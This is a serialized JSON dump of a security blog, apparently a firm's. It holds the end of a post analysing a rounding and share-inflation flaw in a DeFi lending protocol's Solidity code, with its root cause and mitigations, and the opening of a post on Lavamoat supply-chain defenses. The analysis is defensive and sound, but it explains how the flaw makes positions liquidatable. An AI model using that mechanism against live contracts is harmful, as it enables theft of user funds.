ResultsInBadDebt();\n}\n",[48098],{"type":22,"tag":114,"props":48099,"children":48100},{"__ignoreMap":7},[48101,48132,48140,48148,48155,48177,48190,48197,48218,48248,48260,48272,48279,48303,48320],{"type":22,"tag":118,"props":48102,"children":48103},{"class":120,"line":121},[48104,48109,48114,48118,48123,48128],{"type":22,"tag":118,"props":48105,"children":48106},{"style":131},[48107],{"type":28,"value":48108},"uint256",{"type":22,"tag":118,"props":48110,"children":48111},{"style":125},[48112],{"type":28,"value":48113}," withdrawValue ",{"type":22,"tag":118,"props":48115,"children":48116},{"style":210},[48117],{"type":28,"value":282},{"type":22,"tag":118,"props":48119,"children":48120},{"style":125},[48121],{"type":28,"value":48122}," WISE_ORACLE.",{"type":22,"tag":118,"props":48124,"children":48125},{"style":532},[48126],{"type":28,"value":48127},"getTokensInETH",{"type":22,"tag":118,"props":48129,"children":48130},{"style":125},[48131],{"type":28,"value":696},{"type":22,"tag":118,"props":48133,"children":48134},{"class":120,"line":142},[48135],{"type":22,"tag":118,"props":48136,"children":48137},{"style":125},[48138],{"type":28,"value":48139},"    _poolToken,\n",{"type":22,"tag":118,"props":48141,"children":48142},{"class":120,"line":177},[48143],{"type":22,"tag":118,"props":48144,"children":48145},{"style":125},[48146],{"type":28,"value":48147},"    _amount\n",{"type":22,"tag":118,"props":48149,"children":48150},{"class":120,"line":195},[48151],{"type":22,"tag":118,"props":48152,"children":48153},{"style":125},[48154],{"type":28,"value":3665},{"type":22,"tag":118,"props":48156,"children":48157},{"class":120,"line":244},[48158,48162,48167,48172],{"type":22,"tag":118,"props":48159,"children":48160},{"style":210},[48161],{"type":28,"value":19526},{"type":22,"tag":118,"props":48163,"children":48164},{"style":125},[48165],{"type":28,"value":48166}," WISE_LENDING.",{"type":22,"tag":118,"props":48168,"children":48169},{"style":532},[48170],{"type":28,"value":48171},"lendingPoolData",{"type":22,"tag":118,"props":48173,"children":48174},{"style":125},[48175],{"type":28,"value":48176},"(_poolToken).collateralFactor\n",{"type":22,"tag":118,"props":48178,"children":48179},{"class":120,"line":253},[48180,48185],{"type":22,"tag":118,"props":48181,"children":48182},{"style":210},[48183],{"type":28,"value":48184},"    /",{"type":22,"tag":118,"props":48186,"children":48187},{"style":125},[48188],{"type":28,"value":48189}," PRECISION_FACTOR_E18;\n",{"type":22,"tag":118,"props":48191,"children":48192},{"class":120,"line":263},[48193],{"type":22,"tag":118,"props":48194,"children":48195},{"emptyLinePlaceholder":15},[48196],{"type":28,"value":250},{"type":22,"tag":118,"props":48198,"children":48199},{"class":120,"line":318},[48200,48204,48209,48213],{"type":22,"tag":118,"props":48201,"children":48202},{"style":131},[48203],{"type":28,"value":3065},{"type":22,"tag":118,"props":48205,"children":48206},{"style":125},[48207],{"type":28,"value":48208}," state ",{"type":22,"tag":118,"props":48210,"children":48211},{"style":210},[48212],{"type":28,"value":282},{"type":22,"tag":118,"props":48214,"children":48215},{"style":125},[48216],{"type":28,"value":48217}," borrowPercentageCap\n",{"type":22,"tag":118,"props":48219,"children":48220},{"class":120,"line":351},[48221,48225,48229,48234,48239,48243],{"type":22,"tag":118,"props":48222,"children":48223},{"style":210},[48224],{"type":28,"value":19526},{"type":22,"tag":118,"props":48226,"children":48227},{"style":125},[48228],{"type":28,"value":842},{"type":22,"tag":118,"props":48230,"children":48231},{"style":532},[48232],{"type":28,"value":48233},"overallETHCollateralsWeighted",{"type":22,"tag":118,"props":48235,"children":48236},{"style":125},[48237],{"type":28,"value":48238},"(_nftId) ",{"type":22,"tag":118,"props":48240,"children":48241},{"style":210},[48242],{"type":28,"value":6340},{"type":22,"tag":118,"props":48244,"children":48245},{"style":125},[48246],{"type":28,"value":48247}," withdrawValue)\n",{"type":22,"tag":118,"props":48249,"children":48250},{"class":120,"line":359},[48251,48255],{"type":22,"tag":118,"props":48252,"children":48253},{"style":210},[48254],{"type":28,"value":48184},{"type":22,"tag":118,"props":48256,"children":48257},{"style":125},[48258],{"type":28,"value":48259}," PRECISION_FACTOR_E18\n",{"type":22,"tag":118,"props":48261,"children":48262},{"class":120,"line":368},[48263,48267],{"type":22,"tag":118,"props":48264,"children":48265},{"style":210},[48266],{"type":28,"value":34384},{"type":22,"tag":118,"props":48268,"children":48269},{"style":125},[48270],{"type":28,"value":48271}," borrowAmount;\n",{"type":22,"tag":118,"props":48273,"children":48274},{"class":120,"line":384},[48275],{"type":22,"tag":118,"props":48276,"children":48277},{"emptyLinePlaceholder":15},[48278],{"type":28,"value":250},{"type":22,"tag":118,"props":48280,"children":48281},{"class":120,"line":417},[48282,48286,48291,48295,48299],{"type":22,"tag":118,"props":48283,"children":48284},{"style":1480},[48285],{"type":28,"value":17553},{"type":22,"tag":118,"props":48287,"children":48288},{"style":125},[48289],{"type":28,"value":48290}," (state ",{"type":22,"tag":118,"props":48292,"children":48293},{"style":210},[48294],{"type":28,"value":302},{"type":22,"tag":118,"props":48296,"children":48297},{"style":146},[48298],{"type":28,"value":1537},{"type":22,"tag":118,"props":48300,"children":48301},{"style":125},[48302],{"type":28,"value":16783},{"type":22,"tag":118,"props":48304,"children":48305},{"class":120,"line":425},[48306,48311,48316],{"type":22,"tag":118,"props":48307,"children":48308},{"style":1480},[48309],{"type":28,"value":48310},"    revert",{"type":22,"tag":118,"props":48312,"children":48313},{"style":532},[48314],{"type":28,"value":48315}," ResultsInBadDebt",{"type":22,"tag":118,"props":48317,"children":48318},{"style":125},[48319],{"type":28,"value":1098},{"type":22,"tag":118,"props":48321,"children":48322},{"class":120,"line":441},[48323],{"type":22,"tag":118,"props":48324,"children":48325},{"style":125},[48326],{"type":28,"value":481},{"type":22,"tag":31,"props":48328,"children":48329},{},[48330],{"type":28,"value":48331},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":22,"tag":31,"props":48333,"children":48334},{},[48335],{"type":28,"value":48336},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":22,"tag":31,"props":48338,"children":48339},{},[48340,48342,48348],{"type":28,"value":48341},"And indeed, ",{"type":22,"tag":42,"props":48343,"children":48346},{"href":48344,"rel":48345},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[46],[48347],{"type":28,"value":48052},{"type":28,"value":48349}," rounds up the share value.",{"type":22,"tag":107,"props":48351,"children":48353},{"className":6487,"code":48352,"language":6486,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[48354],{"type":22,"tag":114,"props":48355,"children":48356},{"__ignoreMap":7},[48357,48373,48390,48406,48419,48426,48434,48442,48462,48469,48490,48511,48533,48562,48583],{"type":22,"tag":118,"props":48358,"children":48359},{"class":120,"line":121},[48360,48364,48369],{"type":22,"tag":118,"props":48361,"children":48362},{"style":146},[48363],{"type":28,"value":33316},{"type":22,"tag":118,"props":48365,"children":48366},{"style":532},[48367],{"type":28,"value":48368}," _calculateShares",{"type":22,"tag":118,"props":48370,"children":48371},{"style":125},[48372],{"type":28,"value":696},{"type":22,"tag":118,"props":48374,"children":48375},{"class":120,"line":142},[48376,48381,48386],{"type":22,"tag":118,"props":48377,"children":48378},{"style":131},[48379],{"type":28,"value":48380},"    uint256",{"type":22,"tag":118,"props":48382,"children":48383},{"style":204},[48384],{"type":28,"value":48385}," _product",{"type":22,"tag":118,"props":48387,"children":48388},{"style":125},[48389],{"type":28,"value":782},{"type":22,"tag":118,"props":48391,"children":48392},{"class":120,"line":177},[48393,48397,48402],{"type":22,"tag":118,"props":48394,"children":48395},{"style":131},[48396],{"type":28,"value":48380},{"type":22,"tag":118,"props":48398,"children":48399},{"style":204},[48400],{"type":28,"value":48401}," _pseudo",{"type":22,"tag":118,"props":48403,"children":48404},{"style":125},[48405],{"type":28,"value":782},{"type":22,"tag":118,"props":48407,"children":48408},{"class":120,"line":195},[48409,48414],{"type":22,"tag":118,"props":48410,"children":48411},{"style":131},[48412],{"type":28,"value":48413},"    bool",{"type":22,"tag":118,"props":48415,"children":48416},{"style":204},[48417],{"type":28,"value":48418}," _maxSharePrice\n",{"type":22,"tag":118,"props":48420,"children":48421},{"class":120,"line":244},[48422],{"type":22,"tag":118,"props":48423,"children":48424},{"style":125},[48425],{"type":28,"value":3665},{"type":22,"tag":118,"props":48427,"children":48428},{"class":120,"line":253},[48429],{"type":22,"tag":118,"props":48430,"children":48431},{"style":146},[48432],{"type":28,"value":48433},"    private\n",{"type":22,"tag":118,"props":48435,"children":48436},{"class":120,"line":263},[48437],{"type":22,"tag":118,"props":48438,"children":48439},{"style":146},[48440],{"type":28,"value":48441},"    pure\n",{"type":22,"tag":118,"props":48443,"children":48444},{"class":120,"line":318},[48445,48450,48454,48458],{"type":22,"tag":118,"props":48446,"children":48447},{"style":1480},[48448],{"type":28,"value":48449},"    returns",{"type":22,"tag":118,"props":48451,"children":48452},{"style":125},[48453],{"type":28,"value":842},{"type":22,"tag":118,"props":48455,"children":48456},{"style":131},[48457],{"type":28,"value":48108},{"type":22,"tag":118,"props":48459,"children":48460},{"style":125},[48461],{"type":28,"value":3665},{"type":22,"tag":118,"props":48463,"children":48464},{"class":120,"line":351},[48465],{"type":22,"tag":118,"props":48466,"children":48467},{"style":125},[48468],{"type":28,"value":12879},{"type":22,"tag":118,"props":48470,"children":48471},{"class":120,"line":359},[48472,48476,48481,48485],{"type":22,"tag":118,"props":48473,"children":48474},{"style":1480},[48475],{"type":28,"value":18954},{"type":22,"tag":118,"props":48477,"children":48478},{"style":125},[48479],{"type":28,"value":48480}," _maxSharePrice ",{"type":22,"tag":118,"props":48482,"children":48483},{"style":210},[48484],{"type":28,"value":302},{"type":22,"tag":118,"props":48486,"children":48487},{"style":146},[48488],{"type":28,"value":48489}," true\n",{"type":22,"tag":118,"props":48491,"children":48492},{"class":120,"line":368},[48493,48498,48503,48507],{"type":22,"tag":118,"props":48494,"children":48495},{"style":210},[48496],{"type":28,"value":48497},"        ?",{"type":22,"tag":118,"props":48499,"children":48500},{"style":125},[48501],{"type":28,"value":48502}," _product % _pseudo ",{"type":22,"tag":118,"props":48504,"children":48505},{"style":210},[48506],{"type":28,"value":302},{"type":22,"tag":118,"props":48508,"children":48509},{"style":674},[48510],{"type":28,"value":1874},{"type":22,"tag":118,"props":48512,"children":48513},{"class":120,"line":384},[48514,48519,48524,48528],{"type":22,"tag":118,"props":48515,"children":48516},{"style":210},[48517],{"type":28,"value":48518},"            ?",{"type":22,"tag":118,"props":48520,"children":48521},{"style":125},[48522],{"type":28,"value":48523}," _product ",{"type":22,"tag":118,"props":48525,"children":48526},{"style":210},[48527],{"type":28,"value":888},{"type":22,"tag":118,"props":48529,"children":48530},{"style":125},[48531],{"type":28,"value":48532}," _pseudo\n",{"type":22,"tag":118,"props":48534,"children":48535},{"class":120,"line":417},[48536,48541,48545,48549,48554,48558],{"type":22,"tag":118,"props":48537,"children":48538},{"style":210},[48539],{"type":28,"value":48540},"            :",{"type":22,"tag":118,"props":48542,"children":48543},{"style":125},[48544],{"type":28,"value":48523},{"type":22,"tag":118,"props":48546,"children":48547},{"style":210},[48548],{"type":28,"value":888},{"type":22,"tag":118,"props":48550,"children":48551},{"style":125},[48552],{"type":28,"value":48553}," _pseudo ",{"type":22,"tag":118,"props":48555,"children":48556},{"style":210},[48557],{"type":28,"value":3220},{"type":22,"tag":118,"props":48559,"children":48560},{"style":674},[48561],{"type":28,"value":21410},{"type":22,"tag":118,"props":48563,"children":48564},{"class":120,"line":425},[48565,48570,48574,48578],{"type":22,"tag":118,"props":48566,"children":48567},{"style":210},[48568],{"type":28,"value":48569},"        :",{"type":22,"tag":118,"props":48571,"children":48572},{"style":125},[48573],{"type":28,"value":48523},{"type":22,"tag":118,"props":48575,"children":48576},{"style":210},[48577],{"type":28,"value":888},{"type":22,"tag":118,"props":48579,"children":48580},{"style":125},[48581],{"type":28,"value":48582}," _pseudo;\n",{"type":22,"tag":118,"props":48584,"children":48585},{"class":120,"line":441},[48586],{"type":22,"tag":118,"props":48587,"children":48588},{"style":125},[48589],{"type":28,"value":481},{"type":22,"tag":31,"props":48591,"children":48592},{},[48593,48598],{"type":22,"tag":4764,"props":48594,"children":48595},{},[48596],{"type":28,"value":48597},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":48599},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":22,"tag":31,"props":48601,"children":48602},{},[48603],{"type":28,"value":48604},"This is a really tricky invariant to reason about!",{"type":22,"tag":23,"props":48606,"children":48608},{"id":48607},"root-cause",[48609],{"type":28,"value":48610},"Root Cause",{"type":22,"tag":31,"props":48612,"children":48613},{},[48614],{"type":28,"value":48615},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":22,"tag":31,"props":48617,"children":48618},{},[48619],{"type":28,"value":48620},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":22,"tag":107,"props":48622,"children":48624},{"className":6487,"code":48623,"language":6486,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[48625],{"type":22,"tag":114,"props":48626,"children":48627},{"__ignoreMap":7},[48628],{"type":22,"tag":118,"props":48629,"children":48630},{"class":120,"line":121},[48631,48636,48640,48645,48649],{"type":22,"tag":118,"props":48632,"children":48633},{"style":125},[48634],{"type":28,"value":48635},"totalDepositShares ",{"type":22,"tag":118,"props":48637,"children":48638},{"style":210},[48639],{"type":28,"value":671},{"type":22,"tag":118,"props":48641,"children":48642},{"style":125},[48643],{"type":28,"value":48644}," _amount ",{"type":22,"tag":118,"props":48646,"children":48647},{"style":210},[48648],{"type":28,"value":888},{"type":22,"tag":118,"props":48650,"children":48651},{"style":125},[48652],{"type":28,"value":48653}," pseudoTotalPool\n",{"type":22,"tag":31,"props":48655,"children":48656},{},[48657],{"type":28,"value":48658},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":22,"tag":31,"props":48660,"children":48661},{},[48662,48664,48668],{"type":28,"value":48663},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":22,"tag":4764,"props":48665,"children":48666},{},[48667],{"type":28,"value":21884},{"type":28,"value":48669}," integer division?",{"type":22,"tag":23,"props":48671,"children":48673},{"id":48672},"mitigations",[48674],{"type":28,"value":48675},"Mitigations",{"type":22,"tag":31,"props":48677,"children":48678},{},[48679],{"type":28,"value":48680},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":22,"tag":31,"props":48682,"children":48683},{},[48684,48686,48693],{"type":28,"value":48685},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":22,"tag":42,"props":48687,"children":48690},{"href":48688,"rel":48689},"https://twitter.com/danielvf/status/1746306320553152615",[46],[48691],{"type":28,"value":48692},"@danielvf notes",{"type":28,"value":48694},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":22,"tag":107,"props":48696,"children":48698},{"className":6487,"code":48697,"language":6486,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[48699],{"type":22,"tag":114,"props":48700,"children":48701},{"__ignoreMap":7},[48702,48726,48773,48807],{"type":22,"tag":118,"props":48703,"children":48704},{"class":120,"line":121},[48705,48709,48714,48718,48722],{"type":22,"tag":118,"props":48706,"children":48707},{"style":1480},[48708],{"type":28,"value":17553},{"type":22,"tag":118,"props":48710,"children":48711},{"style":125},[48712],{"type":28,"value":48713}," (_totalSupply ",{"type":22,"tag":118,"props":48715,"children":48716},{"style":210},[48717],{"type":28,"value":302},{"type":22,"tag":118,"props":48719,"children":48720},{"style":674},[48721],{"type":28,"value":5074},{"type":22,"tag":118,"props":48723,"children":48724},{"style":125},[48725],{"type":28,"value":16783},{"type":22,"tag":118,"props":48727,"children":48728},{"class":120,"line":142},[48729,48734,48738,48743,48748,48753,48758,48763,48768],{"type":22,"tag":118,"props":48730,"children":48731},{"style":125},[48732],{"type":28,"value":48733},"    liquidity ",{"type":22,"tag":118,"props":48735,"children":48736},{"style":210},[48737],{"type":28,"value":282},{"type":22,"tag":118,"props":48739,"children":48740},{"style":125},[48741],{"type":28,"value":48742}," Math.",{"type":22,"tag":118,"props":48744,"children":48745},{"style":532},[48746],{"type":28,"value":48747},"sqrt",{"type":22,"tag":118,"props":48749,"children":48750},{"style":125},[48751],{"type":28,"value":48752},"(amount0.",{"type":22,"tag":118,"props":48754,"children":48755},{"style":532},[48756],{"type":28,"value":48757},"mul",{"type":22,"tag":118,"props":48759,"children":48760},{"style":125},[48761],{"type":28,"value":48762},"(amount1)).",{"type":22,"tag":118,"props":48764,"children":48765},{"style":532},[48766],{"type":28,"value":48767},"sub",{"type":22,"tag":118,"props":48769,"children":48770},{"style":125},[48771],{"type":28,"value":48772},"(MINIMUM_LIQUIDITY);\n",{"type":22,"tag":118,"props":48774,"children":48775},{"class":120,"line":177},[48776,48781,48785,48789,48793,48797,48802],{"type":22,"tag":118,"props":48777,"children":48778},{"style":532},[48779],{"type":28,"value":48780},"   _mint",{"type":22,"tag":118,"props":48782,"children":48783},{"style":125},[48784],{"type":28,"value":540},{"type":22,"tag":118,"props":48786,"children":48787},{"style":131},[48788],{"type":28,"value":34579},{"type":22,"tag":118,"props":48790,"children":48791},{"style":125},[48792],{"type":28,"value":540},{"type":22,"tag":118,"props":48794,"children":48795},{"style":674},[48796],{"type":28,"value":6036},{"type":22,"tag":118,"props":48798,"children":48799},{"style":125},[48800],{"type":28,"value":48801},"), MINIMUM_LIQUIDITY); ",{"type":22,"tag":118,"props":48803,"children":48804},{"style":257},[48805],{"type":28,"value":48806},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":22,"tag":118,"props":48808,"children":48809},{"class":120,"line":195},[48810,48815,48819],{"type":22,"tag":118,"props":48811,"children":48812},{"style":125},[48813],{"type":28,"value":48814},"} ",{"type":22,"tag":118,"props":48816,"children":48817},{"style":1480},[48818],{"type":28,"value":5335},{"type":22,"tag":118,"props":48820,"children":48821},{"style":125},[48822],{"type":28,"value":1474},{"type":22,"tag":31,"props":48824,"children":48825},{},[48826,48828,48835],{"type":28,"value":48827},"Alternatively, ",{"type":22,"tag":42,"props":48829,"children":48832},{"href":48830,"rel":48831},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[46],[48833],{"type":28,"value":48834},"storing the conversion rate separately",{"type":28,"value":48836}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":22,"tag":107,"props":48838,"children":48840},{"className":6487,"code":48839,"language":6486,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[48841],{"type":22,"tag":114,"props":48842,"children":48843},{"__ignoreMap":7},[48844,48879],{"type":22,"tag":118,"props":48845,"children":48846},{"class":120,"line":121},[48847,48852,48856,48861,48865,48870,48874],{"type":22,"tag":118,"props":48848,"children":48849},{"style":125},[48850],{"type":28,"value":48851},"accrualIndices.borrowed ",{"type":22,"tag":118,"props":48853,"children":48854},{"style":210},[48855],{"type":28,"value":282},{"type":22,"tag":118,"props":48857,"children":48858},{"style":125},[48859],{"type":28,"value":48860}," accrualIndices.borrowed ",{"type":22,"tag":118,"props":48862,"children":48863},{"style":210},[48864],{"type":28,"value":671},{"type":22,"tag":118,"props":48866,"children":48867},{"style":125},[48868],{"type":28,"value":48869}," borrowInterestFactor ",{"type":22,"tag":118,"props":48871,"children":48872},{"style":210},[48873],{"type":28,"value":888},{"type":22,"tag":118,"props":48875,"children":48876},{"style":125},[48877],{"type":28,"value":48878}," precision;\n",{"type":22,"tag":118,"props":48880,"children":48881},{"class":120,"line":142},[48882,48887,48891,48896,48900,48905,48909],{"type":22,"tag":118,"props":48883,"children":48884},{"style":125},[48885],{"type":28,"value":48886},"accrualIndices.deposited ",{"type":22,"tag":118,"props":48888,"children":48889},{"style":210},[48890],{"type":28,"value":282},{"type":22,"tag":118,"props":48892,"children":48893},{"style":125},[48894],{"type":28,"value":48895}," accrualIndices.deposited ",{"type":22,"tag":118,"props":48897,"children":48898},{"style":210},[48899],{"type":28,"value":671},{"type":22,"tag":118,"props":48901,"children":48902},{"style":125},[48903],{"type":28,"value":48904}," depositInterestFactor ",{"type":22,"tag":118,"props":48906,"children":48907},{"style":210},[48908],{"type":28,"value":888},{"type":22,"tag":118,"props":48910,"children":48911},{"style":125},[48912],{"type":28,"value":48878},{"type":22,"tag":31,"props":48914,"children":48915},{},[48916],{"type":28,"value":48917},"We also want to note some general takeaways:",{"type":22,"tag":31,"props":48919,"children":48920},{},[48921,48923,48928],{"type":28,"value":48922},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":22,"tag":4764,"props":48924,"children":48925},{},[48926],{"type":28,"value":48927},"apply the state changes and check the invariant",{"type":28,"value":292},{"type":22,"tag":31,"props":48930,"children":48931},{},[48932],{"type":28,"value":48933},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":22,"tag":31,"props":48935,"children":48936},{},[48937],{"type":28,"value":48938},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":22,"tag":23,"props":48940,"children":48941},{"id":30872},[48942],{"type":28,"value":20914},{"type":22,"tag":31,"props":48944,"children":48945},{},[48946],{"type":28,"value":48947},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":22,"tag":31,"props":48949,"children":48950},{},[48951],{"type":28,"value":48952},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":22,"tag":4880,"props":48954,"children":48955},{},[48956],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":48958},[48959,48960,48961,48965,48966,48967],{"id":25,"depth":142,"text":29},{"id":47881,"depth":142,"text":47884},{"id":48000,"depth":142,"text":48003,"children":48962},[48963,48964],{"id":48011,"depth":177,"text":48014},{"id":48049,"depth":177,"text":48052},{"id":48607,"depth":142,"text":48610},{"id":48672,"depth":142,"text":48675},{"id":30872,"depth":142,"text":20914},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":48972,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48973,"description":48974,"author":48975,"image":48976,"date":48978,"isFeatured":15,"onBlogPage":15,"body":48979,"_type":4896,"_id":52458,"_source":4898,"_file":52459,"_stem":52460,"_extension":4901},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[33140,33139],{"src":48977},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":19,"children":48980,"toc":52437},[48981,48985,49006,49011,49015,49020,49059,49065,49080,49098,49103,49108,49113,49126,49433,49459,49472,49477,49482,49496,49501,49514,49527,49758,49779,49814,49820,49825,49830,50044,50065,50071,50083,50173,50195,50231,50239,50257,50514,50540,50546,50560,50758,50777,51184,51197,51203,51222,51315,51320,51326,51339,51352,51438,51444,51456,51541,51553,51566,51572,51577,51591,51918,51923,51928,51934,51960,52015,52035,52088,52094,52099,52118,52129,52323,52329,52352,52358,52363,52376,52381,52386,52390,52395,52403,52433],{"type":22,"tag":23,"props":48982,"children":48983},{"id":20923},[48984],{"type":28,"value":20926},{"type":22,"tag":31,"props":48986,"children":48987},{},[48988,48995,48997,49004],{"type":22,"tag":42,"props":48989,"children":48992},{"href":48990,"rel":48991},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[46],[48993],{"type":28,"value":48994},"Supply chain",{"type":28,"value":48996}," attacks are becoming ",{"type":22,"tag":42,"props":48998,"children":49001},{"href":48999,"rel":49000},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[46],[49002],{"type":28,"value":49003},"increasingly popular in Web3",{"type":28,"value":49005},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":22,"tag":31,"props":49007,"children":49008},{},[49009],{"type":28,"value":49010},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":22,"tag":1289,"props":49012,"children":49013},{"id":25},[49014],{"type":28,"value":29},{"type":22,"tag":31,"props":49016,"children":49017},{},[49018],{"type":28,"value":49019},"It is important to note that there are three different versions of LavaMoat:",{"type":22,"tag":4029,"props":49021,"children":49022},{},[49023,49035,49047],{"type":22,"tag":68,"props":49024,"children":49025},{},[49026,49033],{"type":22,"tag":42,"props":49027,"children":49030},{"href":49028,"rel":49029},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[46],[49031],{"type":28,"value":49032},"Lavamoat Browserify",{"type":28,"value":49034}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":22,"tag":68,"props":49036,"children":49037},{},[49038,49045],{"type":22,"tag":42,"props":49039,"children":49042},{"href":49040,"rel":49041},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[46],[49043],{"type":28,"value":49044},"NodeJS Lavamoat",{"type":28,"value":49046}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":22,"tag":68,"props":49048,"children":49049},{},[49050,49057],{"type":22,"tag":42,"props":49051,"children":49054},{"href":49052,"rel":49053},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[46],[49055],{"type":28,"value":49056},"Lavamoat allow-scripts",{"type":28,"value":49058}," are used to prevent malicious code execution on lifecycle scripts.",{"type":22,"tag":1289,"props":49060,"children":49062},{"id":49061},"lavamoats-security-features",[49063],{"type":28,"value":49064},"Lavamoat's Security Features",{"type":22,"tag":31,"props":49066,"children":49067},{},[49068,49070,49078],{"type":28,"value":49069},"The three most important features of Lavamoat",{"type":22,"tag":17448,"props":49071,"children":49072},{},[49073],{"type":22,"tag":42,"props":49074,"children":49076},{"href":31562,"ariaDescribedBy":49075,"dataFootnoteRef":7,"id":31564},[17455],[49077],{"type":28,"value":6026},{"type":28,"value":49079}," are:",{"type":22,"tag":64,"props":49081,"children":49082},{},[49083,49088,49093],{"type":22,"tag":68,"props":49084,"children":49085},{},[49086],{"type":28,"value":49087},"Policy Files",{"type":22,"tag":68,"props":49089,"children":49090},{},[49091],{"type":28,"value":49092},"NPM Anti Hijacking",{"type":22,"tag":68,"props":49094,"children":49095},{},[49096],{"type":28,"value":49097},"Scuttling",{"type":22,"tag":31,"props":49099,"children":49100},{},[49101],{"type":28,"value":49102},"Let's go over them one by one.",{"type":22,"tag":1899,"props":49104,"children":49106},{"id":49105},"policy-files",[49107],{"type":28,"value":49087},{"type":22,"tag":31,"props":49109,"children":49110},{},[49111],{"type":28,"value":49112},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":22,"tag":31,"props":49114,"children":49115},{},[49116,49118,49125],{"type":28,"value":49117},"For example, take the ",{"type":22,"tag":42,"props":49119,"children":49122},{"href":49120,"rel":49121},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[46],[49123],{"type":28,"value":49124},"Metamask Snap policy file",{"type":28,"value":213},{"type":22,"tag":107,"props":49127,"children":49129},{"className":33302,"code":49128,"language":33304,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[49130],{"type":22,"tag":114,"props":49131,"children":49132},{"__ignoreMap":7},[49133,49145,49160,49180,49199,49219,49239,49259,49279,49299,49320,49340,49359,49375,49382,49397,49417],{"type":22,"tag":118,"props":49134,"children":49135},{"class":120,"line":121},[49136,49141],{"type":22,"tag":118,"props":49137,"children":49138},{"style":1866},[49139],{"type":28,"value":49140},"   